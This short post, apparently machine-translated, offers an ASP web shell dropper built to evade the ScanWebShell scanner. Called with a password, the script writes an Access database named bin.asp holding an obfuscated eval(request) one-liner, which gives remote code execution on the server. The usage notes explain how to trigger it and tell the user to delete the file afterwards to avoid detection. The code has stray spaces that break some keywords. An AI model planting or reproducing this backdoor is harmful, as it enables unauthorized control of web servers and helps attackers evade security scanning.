Something simple to avoid ScanWebShell

Usage:
Directly access xxx. asp? Bin = zs generates a bin. asp. connection password under the current directory as zs!
PS: This file can avoid ScanWebShell, but the generated bin. asp will be scanned and killed. delete bin. asp after use!

<%
Pass = "zs"
If request ("bin") = pass then
Shell = "bin. asp"
Connstr = "Provider = Microsoft. Jet. OLEDB.4.0; Data Source =" & Server. MapPath (shell)
Set connad= server. createobject ("adox. catalog ")
Connad. create connstr
Set conn = server. createobject ("Adodb. Connection ")
Conn. open connstr
Conn.exe cute ("create table cmd (shell text )")
Conn.exe cute ("insert into cmd (shell) values (<" & Chr ("37 ") & "e" & "val + request (" "& pass &") "& chr (" 37 ") &"> )")
End If
%>